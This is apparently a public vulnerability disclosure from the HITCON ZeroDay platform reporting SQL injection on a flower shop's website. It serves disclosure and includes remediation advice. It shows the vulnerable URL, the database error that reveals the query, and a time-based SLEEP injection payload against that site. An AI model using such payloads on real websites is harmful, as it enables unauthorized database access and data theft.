Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00429
- Vendor: 前鎮花店
- Title: 花店公司資料庫注入漏洞
- Introduction: 資料庫注入攻擊
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/04/08 04:48:27 : 新提交 (由 FB搜尋"波波的寂寞世界" 更新此狀態)
- 2018/04/08 20:21:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/14 14:47:16 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/14 14:47:18 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/04/14 14:47:18 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/06/08 03:00:10 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00429
- 通報者:twfinderaz (FB搜尋"波波的寂寞世界")
- 風險:中
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
例如:最新消息 http://www.flowershop.com.tw/media.php?lid=1017032400_0622C2C4B&sid=1017032400_0719D20B7
敘述
該網站存在SQL Injection,於該網址
http://www.flowershop.com.tw/media.php?lid=1017032400_0622C2C4B&sid=1017032400_0719D20B7
進行簡易測試,如單引號 '
http://www.flowershop.com.tw/media.php?lid=1017032400_0622C2C4B&sid=1017032400_0719D20B7'
可發現網站錯誤訊息
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1017032400_0719D20B7''' at line 1
select from ts where row id='1017032400_0719D20B7''
[TEP STOP]
這邊可以得知該資料庫查詢的語法以及 欄位名稱
select from ts where row id='1017032400_0719D20B7''
進行sleep測試
http://www.flowershop.com.tw/media.php?lid=1017032400_0622C2C4B&sid=1017032400_0719D20B7%27%20AND%20SLEEP(5)%20AND%20%27KWvE%27=%27KWvE
修補建議
解決方案採用參數化(Parameterized)查詢語法
嚴密的檢查所有輸入值,使用過濾字串函數過濾非法的字元
網站避免使用addslashes或是mysql_real_escape_string,會被繞過
建議Google查一下 SQL Injection攻擊手法,及防範措施Parameterized,
https://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A